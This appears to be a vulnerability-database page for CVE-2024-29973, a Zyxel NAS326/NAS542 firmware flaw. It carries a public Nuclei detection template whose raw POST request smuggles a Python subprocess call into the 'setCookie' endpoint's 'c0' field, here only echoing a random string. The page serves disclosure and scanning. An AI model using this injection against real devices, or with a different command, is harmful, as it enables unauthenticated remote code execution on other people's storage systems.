CVE-2024-29973: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection

日期: 2025-08-01 | 影响软件: Zyxel NAS326 Firmware | POC: 已公开

漏洞描述

The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

PoC代码[已公开]

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.93899
    epss-percentile: 0.99868
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive,vkev
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 490a0046304402207fd1df7ced54a390f4486f71406e000dd731bda43a1239ceea4bf867b95b181602201882a63c6b7d0cbf38df38e8e41323cf7b7ee3664e42e4aa88f6fd3983f58be8:922c64590222798bb761d5b6d8e72950

相关漏洞推荐